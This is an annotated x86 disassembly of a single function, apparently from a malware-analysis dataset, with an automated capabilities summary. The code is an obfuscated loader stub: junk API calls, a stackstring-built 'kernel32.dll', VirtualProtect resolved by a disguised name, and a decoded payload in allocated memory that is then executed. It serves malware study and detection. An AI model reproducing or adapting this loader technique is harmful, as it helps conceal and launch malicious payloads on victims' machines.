Function at 0x4010a0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Terminate process
Terminate thread

Disassembly:
sub esp, 0x224
mov eax, dword [0x41c7a0]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x1d8]
call fcn.00402ec0
push str.foconaleseyimucayedupoxiyonicemi_behahasepawudehukusidada_garaterisovu
lea ecx, [esp + 0x204]
call fcn.00402e80
lea eax, [esp + 0x200]
push eax
lea ecx, [esp + 0x1dc]
call fcn.00403e10
cmp dword [esp + 0x1f0], 0x159
jne 0x40122f
mov ecx, 0x41a010
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401102
sub ecx, edx
cmp ecx, 0x216
jbe 0x40122f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorControl]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov eax, dword [0x41bdac]
mov esi, 0x7a1ba
mov edi, dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0xdc], eax
add dword [esp + 0xdc], 0x932
push 0
push 0
call edi
cmp dword [0x4225e0], 0
jne 0x4012db
xor eax, eax
mov dword [0x41a010], 0x6e72656b
push 0x41a010
mov dword [0x41a014], 0x32336c65
mov dword [0x41a018], 0x6c6c642e
mov byte [0x41a01c], 0
mov dword [0x41b410], 0x65006b
mov dword [0x41b414], 0x6e0072
mov dword [0x41b418], 0x6c0065
mov dword [0x41b41c], 0x320033
mov dword [0x41b420], 0x64002e
mov dword [0x41b424], 0x6c006c
mov word [0x41b428], ax
call ebx
mov dword [0x4225e0], eax
dec esi
jne 0x401257
mov dword [esp + 0x10], 0x239e7482
mov dword [esp + 0x30], 0x182f6882
mov dword [esp + 0x18], 0xf9f69c1
mov dword [esp + 0x14], 0x6247864b
mov dword [esp + 0x40], 0x7d48eb07
mov dword [esp + 0x20], 0x7b9990e
mov dword [esp + 0x34], 0x2481fa48
mov dword [esp + 0x3c], 0x3b772f0a
mov dword [esp + 0x68], 0x7b40381
mov dword [esp + 0x28], 0x790659a3
mov dword [esp + 0x24], 0x2b75f60
mov dword [esp + 0x4c], 0x67898fc3
mov dword [esp + 0xc8], 0x6106060e
mov dword [esp + 0x1c], 0x496e8388
mov dword [esp + 0xf4], 0x52c9cbc2
mov dword [esp + 0x6c], 0x3e99b495
mov dword [esp + 0x5c], 0x2a8bb12d
mov dword [esp + 0x12c], 0x5e5b7890
mov dword [esp + 0x1bc], 0x34132be3
mov dword [esp + 0x64], 0x377552f6
mov dword [esp + 0x70], 0x710df55d
mov dword [esp + 0xb0], 0x29513940
mov dword [esp + 0x7c], 0x271709c1
mov dword [esp + 0x2c], 0x308585b
mov dword [esp + 0x8c], 0x6ebc8144
mov dword [esp + 0xac], 0x2e773f7a
mov dword [esp + 0x88], 0x7f0d02d8
mov dword [esp + 0x60], 0x7d539242
mov dword [esp + 0x158], 0x18fc382d
mov dword [esp + 0x44], 0x793af5ea
mov dword [esp + 0xa8], 0x66a08314
mov dword [esp + 0x48], 0x2e514249
mov dword [esp + 0xb4], 0x25a63695
mov dword [esp + 0x90], 0x5e740d34
mov dword [esp + 0x74], 0x458292b1
mov dword [esp + 0xa0], 0x7c836667
mov dword [esp + 0x50], 0x598b7d46
mov dword [esp + 0x78], 0x4f3d2eb4
mov dword [esp + 0x94], 0x36e1622d
mov dword [esp + 0x54], 0x7c178c9
mov dword [esp + 0x38], 0x17316192
mov dword [esp + 0x124], 0x7caf699b
mov dword [esp + 0x58], 0x25304639
mov dword [esp + 0x10c], 0x4f874a1
mov dword [esp + 0x114], 0x62d861b2
mov dword [esp + 0xc4], 0x2823e71b
mov dword [esp + 0x160], 0x111e915f
mov dword [esp + 0xd0], 0x3889793c
mov dword [esp + 0x118], 0x150defff
mov dword [esp + 0x1a0], 0x32082b89
mov dword [esp + 0xec], 0x6c48c78e
mov dword [esp + 0x170], 0x58059949
mov dword [esp + 0xf8], 0x2b55de4
mov dword [esp + 0x9c], 0x40d64522
mov dword [esp + 0xfc], 0x5d87ae6a
mov dword [esp + 0xb8], 0x52469379
mov dword [esp + 0x84], 0x663f9826
mov dword [esp + 0xd8], 0x22bc3584
mov dword [esp + 0x98], 0x36952ab7
mov dword [esp + 0x15c], 0x34eb3e83
mov dword [esp + 0x140], 0x48b5cd08
mov dword [esp + 0x1a4], 0x3e17a3ac
mov dword [esp + 0xe0], 0x7ee7afaa
mov dword [esp + 0x108], 0x27f41295
mov dword [esp + 0xf0], 0x563eabc7
mov dword [esp + 0x14c], 0x1c2e8267
mov dword [esp + 0x104], 0x422640a5
mov dword [esp + 0xe4], 0x665c5459
mov dword [esp + 0x194], 0x2d342b0d
mov dword [esp + 0x1a8], 0x6ec9383a
mov dword [esp + 0xe8], 0x4b77a28d
mov dword [esp + 0x120], 0x6cfe061
mov dword [esp + 0xbc], 0x77c06004
mov dword [esp + 0x148], 0x30f689e8
mov dword [esp + 0x198], 0x63ad117b
mov dword [esp + 0xd4], 0x6637102b
mov dword [esp + 0xc0], 0x331a3ce7
mov dword [esp + 0x80], 0x6e85decf
mov dword [esp + 0x150], 0x43bb0147
mov dword [esp + 0x184], 0x6890c260
mov dword [esp + 0x190], 0x79161d60
mov dword [esp + 0x1ac], 0x39916f5e
mov dword [esp + 0x180], 0x745d8af1
mov dword [esp + 0x100], 0x196bd9f3
mov dword [esp + 0x164], 0x6f2f102d
mov dword [esp + 0x11c], 0x2041d03f
mov dword [esp + 0x134], 0x524a3788
mov dword [esp + 0xcc], 0x5ff4fb93
mov dword [esp + 0x144], 0x38b7b1c1
mov dword [esp + 0xa4], 0x76ae97eb
mov dword [esp + 0x1b4], 0x4509a9e6
mov dword [esp + 0x16c], 0x20a57291
mov dword [esp + 0x168], 0x5a97c3df
mov dword [esp + 0x1b8], 0x52d858ae
mov dword [esp + 0x154], 0x9a6dd44
mov dword [esp + 0x188], 0x2d369d87
mov dword [esp + 0x174], 0x76870e5c
mov dword [esp + 0x178], 0x4be40305
mov dword [esp + 0x1b0], 0x287a7808
mov dword [esp + 0x110], 0x3b39556b
mov dword [esp + 0x19c], 0x1fa68735
mov dword [esp + 0x128], 0x3e826615
mov dword [esp + 0x17c], 0x79f83a59
mov dword [esp + 0x13c], 0x7fdf1653
mov dword [esp + 0x138], 0x6ed5d178
mov dword [esp + 0x18c], 0x4bb60310
add dword [esp + 0x10], 0x95550b1
sub dword [esp + 0x10], 0x430197ec
add dword [esp + 0x10], 0x5bbcb5e6
add dword [esp + 0x10], 0x3654f505
sub dword [esp + 0x10], 0x33db2a25
add dword [esp + 0x10], 0x79a69834
add dword [esp + 0x10], 0x77c0b62d
add dword [esp + 0x18], 0x6bc753b2
add dword [esp + 0x14], 0x30a6be4e
add dword [esp + 0x14], 0x3fcf4a8a
sub dword [esp + 0x10], 0x6b47b86d
sub dword [esp + 0x10], 0x256adbec
add dword [esp + 0x14], 0x399a7a57
add dword [esp + 0x14], 0xfe4c244
sub dword [esp + 0x14], 0x3d37692c
sub dword [esp + 0x10], 0x461c5404
sub dword [esp + 0x40], 0x129ff4a1
add dword [esp + 0x14], 0x7caf3a8f
sub dword [esp + 0x20], 0x67c79428
sub dword [esp + 0x30], 0x6c88256f
add dword [esp + 0x14], 0x1ecfdcfe
add dword [esp + 0x34], 0x3473cc58
add dword [esp + 0x30], 0x26a3ce43
sub dword [esp + 0x40], 0x7e1b9d01
sub dword [esp + 0x18], 0x5c04e079
sub dword [esp + 0x28], 0x6b48461d
add dword [esp + 0x28], 0xda7a08e
sub dword [esp + 0x14], 0x12ee78ef
add dword [esp + 0x10], 0x548864e8
add dword [esp + 0x10], 0x38f128b4
add dword [esp + 0x3c], 0x708fcf14
add dword [esp + 0x20], 0x34a27c3
sub dword [esp + 0x40], 0xac0b97c
sub dword [esp + 0x40], 0x5dfcf0d
sub dword [esp + 0x3c], 0x1a7ef43a
sub dword [esp + 0x34], 0x60d295b6
add dword [esp + 0x10], 0x29fee9fd
sub dword [esp + 0x24], 0x355ee434
add dword [esp + 0x34], 0x2e9975ff
sub dword [esp + 0x1c], 0x553095ad
add dword [esp + 0x1c], 0x32109770
add dword [esp + 0x6c], 0x6191137b
sub dword [esp + 0xf4], 0x5944edcf
add dword [esp + 0x4c], 0xa8517a8
sub dword [esp + 0x14], 0x1bfe13c5
add dword [esp + 0x18], 0x725abc
sub dword [esp + 0x4c], 0x5e865462
sub dword [esp + 0xc8], 0x62158c51
add dword [esp + 0x10], 0x1d3d5411
sub dword [esp + 0x68], 0x5ae7e8a3
sub dword [esp + 0x20], 0xd5e79e3
add dword [esp + 0x70], 0x5e478da0
add dword [esp + 0x1c], 0x74556458
add dword [esp + 0x14], 0x227a5302
add dword [esp + 0x4c], 0x50ca4aa5
add dword [esp + 0x3c], 0x47ef335f
add dword [esp + 0x5c], 0x4938038b
sub dword [esp + 0x30], 0x682e7019
sub dword [esp + 0x5c], 0x2e6efc38
add dword [esp + 0x28], 0x56b0bc9f
sub dword [esp + 0x1c], 0x2f5b8b80
add dword [esp + 0xb0], 0x4812f370
sub dword [esp + 0x20], 0x79257098
add dword [esp + 0x28], 0x8f7c9fc
sub dword [esp + 0x5c], 0x10814076
add dword [esp + 0x2c], 0x25152962
add dword [esp + 0x7c], 0x6332bbf9
sub dword [esp + 0x4c], 0x2028f75c
sub dword [esp + 0xac], 0x266a7f8f
sub dword [esp + 0x60], 0xdc553b3
add dword [esp + 0x24], 0x6b8e78d9
add dword [esp + 0xb0], 0x42298614
sub dword [esp + 0x70], 0x368a6bd4
sub dword [esp + 0x20], 0x7ea873de
sub dword [esp + 0x20], 0x7718deae
sub dword [esp + 0x20], 0x6415d113
sub dword [esp + 0x18], 0x44a2a82b
sub dword [esp + 0x28], 0x101e4b54
sub dword [esp + 0x68], 0x2e647263
add dword [esp + 0x1c], 0x2d028a88
sub dword [esp + 0x40], 0x40d61ba5
add dword [esp + 0x24], 0x63ae74da
add dword [esp + 0x60], 0x7ce6be03
add dword [esp + 0x68], 0x1647e46b
sub dword [esp + 0x8c], 0x4209463c
sub dword [esp + 0x28], 0x6c447003
sub dword [esp + 0x74], 0x226256d6
sub dword [esp + 0x8c], 0x7340cec0
sub dword [esp + 0x24], 0x2d0829cf
sub dword [esp + 0x64], 0x5296d35a
sub dword [esp + 0x88], 0x65a701b9
sub dword [esp + 0x24], 0x3235c305
sub dword [esp + 0x34], 0x7e92e087
sub dword [esp + 0x44], 0x453c7c0e
add dword [esp + 0x60], 0x707df004
add dword [esp + 0x1c], 0x12a9517e
add dword [esp + 0x50], 0x5c448034
add dword [esp + 0x2c], 0x65b8a1f0
add dword [esp + 0x78], 0x4e75c612
add dword [esp + 0xb0], 0x34ea2e1d
add dword [esp + 0x24], 0x1d082eeb
add dword [esp + 0x6c], 0x4da83ba
sub dword [esp + 0xa8], 0x476a1864
add dword [esp + 0x20], 0xa221d92
sub dword [esp + 0x1c], 0x52ea405b
add dword [esp + 0x74], 0x737c9818
add dword [esp + 0x34], 0x676b34f2
sub dword [esp + 0x3c], 0x6a9e5f85
sub dword [esp + 0x18], 0xed26feb
sub dword [esp + 0x8c], 0x33dfaed6
sub dword [esp + 0x34], 0x65baae89
add dword [esp + 0x1c], 0x42b8a833
sub dword [esp + 0x6c], 0x4546be3
sub dword [esp + 0x44], 0x27bcc336
add dword [esp + 0x48], 0x1898d8f
sub dword [esp + 0x74], 0x40d5040e
sub dword [esp + 0x1c], 0x2d647584
sub dword [esp + 0x40], 0x548829d5
sub dword [esp + 0x38], 0x1ad36fc
sub dword [esp + 0x58], 0x72ff6bea
sub dword [esp + 0x4c], 0x6ace113e
sub dword [esp + 0x1c], 0x353344e8
add dword [esp + 0x20], 0x423c798f
sub dword [esp + 0x7c], 0x6068e2e3
sub dword [esp + 0x3c], 0x4435ceac
add dword [esp + 0x12c], 0x463772b9
sub dword [esp + 0x24], 0x56ff5d79
sub dword [esp + 0x124], 0x67888134
sub dword [esp + 0x48], 0x223a569c
sub dword [esp + 0xc8], 0x2c5d7510
sub dword [esp + 0x50], 0x60bcbda8
add dword [esp + 0x6c], 0x334afeac
add dword [esp + 0x5c], 0x7422c213
sub dword [esp + 0x64], 0x1dd4c6cd
add dword [esp + 0x44], 0x5292f094
add dword [esp + 0x2c], 0x1bd8ba41
add dword [esp + 0xd0], 0x2384333b
add dword [esp + 0x94], 0x1137335f
sub dword [esp + 0xa8], 0x6de244cf
sub dword [esp + 0x50], 0x54dcb8b6
sub dword [esp + 0x78], 0x6463904e
sub dword [esp + 0x8c], 0x29a23d1d
sub dword [esp + 0x64], 0x572622ac
add dword [esp + 0x24], 0x746539e5
add dword [esp + 0x74], 0x66d9d949
add dword [esp + 0x54], 0x4669ebc4
add dword [esp + 0x48], 0x1f495069
sub dword [esp + 0x70], 0x1749a492
add dword [esp + 0x18], 0x10972c29
add dword [esp + 0x118], 0x1bc55753
add dword [esp + 0x34], 0x4917d420
add dword [esp + 0x10], 0x335fcd4e
add dword [esp + 0xa0], 0x77549bea
add dword [esp + 0x1a0], 0x64c0a0b4
sub dword [esp + 0x18], 0x7b2013d8
sub dword [esp + 0x64], 0x56b19ff5
sub dword [esp + 0x70], 0x4a95e601
sub dword [esp + 0xa8], 0x6b005ef2
add dword [esp + 0x14], 0x736bb156
add dword [esp + 0x70], 0x5098800
sub dword [esp + 0x30], 0x1746a267
sub dword [esp + 0x114], 0x1aa6cf14
sub dword [esp + 0xac], 0x7971c4e6
add dword [esp + 0x6c], 0x4a001310
sub dword [esp + 0x48], 0x80678e1
add dword [esp + 0xac], 0x65195ee4
add dword [esp + 0x90], 0x2f7766af
sub dword [esp + 0x2c], 0x603fee3e
sub dword [esp + 0x94], 0x5046a796
sub dword [esp + 0x48], 0x662812ad
sub dword [esp + 0x114], 0x3143dbad
add dword [esp + 0xb4], 0x6ae95c2b
sub dword [esp + 0xac], 0x7e53468e
add dword [esp + 0x88], 0x587fa879
add dword [esp + 0x50], 0x7f995228
add dword [esp + 0x54], 0x7d3f1712
add dword [esp + 0x38], 0x7a32fec7
sub dword [esp + 0x10c], 0x7827e165
sub dword [esp + 0xb4], 0x62d9098e
add dword [esp + 0x48], 0x28d157a9
add dword [esp + 0x38], 0x3e60a1d2
add dword [esp + 0x2c], 0x4dc058c8
sub dword [esp + 0x10c], 0x14c7bc2a
add dword [esp + 0x2c], 0x5284c218
sub dword [esp + 0xd8], 0x2015839d
add dword [esp + 0xec], 0x2a3cf6a1
add dword [esp + 0xd0], 0x7d4258eb
sub dword [esp + 0x84], 0x3d313a93
add dword [esp + 0xc4], 0x62e1b11f
add dword [esp + 0x14], 0x71a4b522
sub dword [esp + 0x44], 0x10474b89
sub dword [esp + 0xf8], 0x6f26dd47
sub dword [esp + 0xa0], 0x358387a7
sub dword [esp + 0xd8], 0x454734bc
sub dword [esp + 0xa0], 0x3611bd17
sub dword [esp + 0xb8], 0x4edbf39f
sub dword [esp + 0x18], 0x5f89bac6
add dword [esp + 0x64], 0x6d0636d0
add dword [esp + 0xec], 0x39f42dc4
add dword [esp + 0xe0], 0x66e2499c
sub dword [esp + 0x58], 0x66f3015b
sub dword [esp + 0x84], 0x78e6439
add dword [esp + 0x12c], 0x12eba284
add dword [esp + 0x90], 0x4ad459e8
add dword [esp + 0x1a4], 0x7a5f7add
sub dword [esp + 0x14], 0x2708bf1d
add dword [esp + 0x88], 0x701cbf27
add dword [esp + 0xfc], 0x6ac52648
sub dword [esp + 0x18], 0x69e059e6
sub dword [esp + 0x50], 0x64dc0cde
sub dword [esp + 0x140], 0x3aacb0d8
add dword [esp + 0xbc], 0x761e640e
sub dword [esp + 0xb8], 0x45f0b5ef
sub dword [esp + 0x38], 0x35ed1194
add dword [esp + 0x74], 0x76f3c40c
add dword [esp + 0x58], 0x150f9d9b
sub dword [esp + 0x60], 0x3124aded
add dword [esp + 0x34], 0x56619ad3
sub dword [esp + 0x5c], 0x56926445
add dword [esp + 0x20], 0x448409ea
add dword [esp + 0x98], 0x19bbe11c
sub dword [esp + 0xb8], 0x7ef6dac
add dword [esp + 0x24], 0xaf0c32d
add dword [esp + 0x30], 0x440d8acd
add dword [esp + 0x78], 0x393555b8
sub dword [esp + 0xf4], 0x6c979cd2
sub dword [esp + 0x38], 0x4dc6f7cb
add dword [esp + 0xe8], 0x466c408d
add dword [esp + 0x104], 0x29ad97d
add dword [esp + 0x88], 0x285b56bb
sub dword [esp + 0x190], 0x68319ba4
sub dword [esp + 0x148], 0x27515d23
add dword [esp + 0x18], 0x431fcb0f
sub dword [esp + 0x38], 0x51775d2b
sub dword [esp + 0x60], 0x772114b0
add dword [esp + 0x78], 0x49d7156
add dword [esp + 0x9c], 0xa89a25d
add dword [esp + 0x54], 0x3736423e
sub dword [esp + 0x1ac], 0x28f051ce
sub dword [esp + 0xd8], 0x4e60d274
sub dword [esp + 0xd4], 0x18945d2b
add dword [esp + 0x90], 0x892946c
sub dword [esp + 0x3c], 0x65a503d9
add dword [esp + 0xc0], 0x15e9961
add dword [esp + 0x28], 0x1f09c883
add dword [esp + 0x98], 0x46d1ad82
add dword [esp + 0x1c], 0x1b8efafc
add dword [esp + 0xe0], 0x2100daab
add dword [esp + 0x150], 0x233d054a
sub dword [esp + 0x58], 0x549f9ecd
add dword [esp + 0x7c], 0x78eb9142
sub dword [esp + 0xa8], 0x487e4700
add dword [esp + 0x90], 0x7713244a
add dword [esp + 0x80], 0x30d90079
sub dword [esp + 0x30], 0x508cfe3
sub dword [esp + 0x80], 0x3a1c02be
add dword [esp + 0x18], 0x314da96d
sub dword [esp + 0x10], 0x168b0464
sub dword [esp + 0x44], 0x48385794
add dword [esp + 0x198], 0x4da8d724
add dword [esp + 0xc0], 0x531d486e
add dword [esp + 0xa0], 0x3ef538b7
add dword [esp + 0x20], 0x26d724cb
add dword [esp + 0x158], 0x9bc5c21
sub dword [esp + 0xbc], 0x6dde65b7
sub dword [esp + 0xc0], 0xb08b04a
add dword [esp + 0x68], 0x5c27fa5c
sub dword [esp + 0x2c], 0x212895fd
sub dword [esp + 0x50], 0x261e2e85
add dword [esp + 0xd0], 0x2ba6915a
add dword [esp + 0x98], 0x34ef3f23
add dword [esp + 0xc8], 0x6458ad85
add dword [esp + 0x68], 0x5439e087
sub dword [esp + 0x108], 0x4bbdbe5c
add dword [esp + 0x1b4], 0x767848dc
sub dword [esp + 0xa4], 0x2e56b12
add dword [esp + 0x11c], 0x3da5d9cb
add dword [esp + 0x38], 0x78481c6e
add dword [esp + 0x28], 0x73157f5a
add dword [esp + 0x80], 0x6a53843b
add dword [esp + 0x160], 0x3844d6ea
add dword [esp + 0xfc], 0x545bc2c0
add dword [esp + 0x134], 0x68fd6ee1
sub dword [esp + 0xe4], 0x179bde24
add dword [esp + 0x24], 0x54666b72
add dword [esp + 0x58], 0x281c8c63
sub dword [esp + 0x168], 0x57edd632
sub dword [esp + 0xf0], 0x161d0ecf
add dword [esp + 0x100], 0x2dbad4cd
sub dword [esp + 0x1bc], 0x54797945
add dword [esp + 0xc4], 0x5fb2e9cf
sub dword [esp + 0x9c], 0x526ee0f7
sub dword [esp + 0x124], 0x5d5645be
sub dword [esp + 0x98], 0x5c187371
sub dword [esp + 0x170], 0x8b673aa
sub dword [esp + 0x84], 0x3a2897b4
sub dword [esp + 0xd4], 0x535e3464
add dword [esp + 0x44], 0x42f4e923
add dword [esp + 0x104], 0x40a906fa
add dword [esp + 0x94], 0x68dd1b91
sub dword [esp + 0xcc], 0x40e4e18b
sub dword [esp + 0x1a8], 0x2f988ed0
sub dword [esp + 0xcc], 0x267f649e
sub dword [esp + 0x178], 0x6ecea3bc
sub dword [esp + 0x11c], 0x4d40f4fb
add dword [esp + 0x120], 0x29bcc01a
add dword [esp + 0x1b8], 0x54d6b102
sub dword [esp + 0xe4], 0x6741c013
add dword [esp + 0x84], 0x56a67e5e
sub dword [esp + 0x180], 0x646c3afc
sub dword [esp + 0x54], 0x18fe783c
add dword [esp + 0xb4], 0x1c3af627
add dword [esp + 0xe8], 0x3b4c2e58
add dword [esp + 0x7c], 0x72295e95
sub dword [esp + 0x1b0], 0x58dbee4a
add dword [esp + 0x1c], 0x213afd51
sub dword [esp + 0x2c], 0x7376b686
add dword [esp + 0xbc], 0x71e31a5e
add dword [esp + 0xf0], 0x166101a7
sub dword [esp + 0x188], 0x76027e6e
add dword [esp + 0xa4], 0x421e4694
add dword [esp + 0x138], 0x56959fa
add dword [esp + 0x3c], 0x5b600c0d
add dword [esp + 0x13c], 0x637c3d56
sub dword [esp + 0xc4], 0x414b0263
add dword [esp + 0x144], 0x6a75ba50
add dword [esp + 0x14c], 0x29974de5
sub dword [esp + 0x78], 0x52b6ff09
add dword [esp + 0x154], 0x4c4b07fc
sub dword [esp + 0x15c], 0x293916f4
add dword [esp + 0x110], 0x19a5c45b
add dword [esp + 0xf8], 0x2d0d34b5
sub dword [esp + 0x54], 0x349c0536
sub dword [esp + 0x164], 0x18db43d7
add dword [esp + 0x16c], 0x3c7ba3c9
add dword [esp + 0x4c], 0x34e25bb1
sub dword [esp + 0x9c], 0x44013c66
sub dword [esp + 0x94], 0x62444626
add dword [esp + 0x174], 0x5155ff53
add dword [esp + 0x100], 0x19e5f451
sub dword [esp + 0x18], 0x7d383614
add dword [esp + 0xa4], 0x7f76dfc1
add dword [esp + 0x128], 0x53779542
sub dword [esp + 0x28], 0x428e494a
add dword [esp + 0x17c], 0x54e0d8ae
add dword [esp + 0x108], 0x69423c0
sub dword [esp + 0x110], 0x4c076a74
sub dword [esp + 0x184], 0x2692959c
sub dword [esp + 0x30], 0x10820d6e
add dword [esp + 0x9c], 0x10f501f0
add dword [esp + 0x118], 0x40c08d31
add dword [esp + 0xcc], 0xc195602
sub dword [esp + 0x30], 0x153df8ed
sub dword [esp + 0x18c], 0x6886b723
add dword [esp + 0xa4], 0x4f97e961
sub dword [esp + 0x80], 0x4d2d5e06
add dword [esp + 0x120], 0x762b3fad
add dword [esp + 0x54], 0xbad5350
add dword [esp + 0x194], 0x18183a85
sub dword [esp + 0x19c], 0x69d5a6f6
sub dword [esp + 0xd4], 0x7f3b61aa
sub dword [esp + 0x14], 0x7f696629
add dword [esp + 0x128], 0x67e524be
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCommMask]
mov ebp, dword [esp + 0xdc]
jmp 0x402460
call edi
lea eax, [esp + 0x1c0]
push eax
push 0
call ebx
cmp esi, 0x198fb
jle 0x402483
cmp dword [esp + 0x1c0], 0x396c3cea
jne 0x402486
inc esi
jmp 0x402460
push str.yamiyobewijayeroso
lea ecx, [esp + 0x21c]
call fcn.00402e80
push str.kernel
push 0x41a010
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
call dword [sym.imp.USER32.dll_EndPaint]
lea ecx, [esp + 0x218]
call fcn.00402fa0
mov eax, dword [section..text_1]
push ebp
push 0
mov dword [esp + 0x1cc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
push fcn.004225e4
call fcn.004027b0
mov ebp, dword [0x41a00c]
add esp, 8
mov ebx, dword [esp + 0xdc]
add ebp, 0x932
xor esi, esi
test ebx, ebx
je 0x402551
lea esp, [esp]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call edi
push esi
push ebp
push dword [fcn.004225e4]
call fcn.004027c0
add esp, 0xc
cmp esi, 0x64
jne 0x40254c
push str.VirtualProtsct
call fcn.00402780
add esp, 4
push eax
push dword [0x4225e0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [fcn.004225f4], eax
inc esi
cmp esi, ebx
jb 0x402500
mov dword [esp + 0x130], 0x10
add dword [esp + 0x130], 0x10
push dword [esp + 0x1c4]
lea eax, [esp + 0xe0]
push eax
push dword [fcn.004225e4]
call fcn.004026a0
add esp, 0xc
lea eax, [esp + 0x1c8]
push eax
mov eax, dword [esp + 0x134]
add eax, eax
push eax
push ebx
push dword [fcn.004225e4]
call dword [fcn.004225f4]
call dword [fcn.004225e4]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]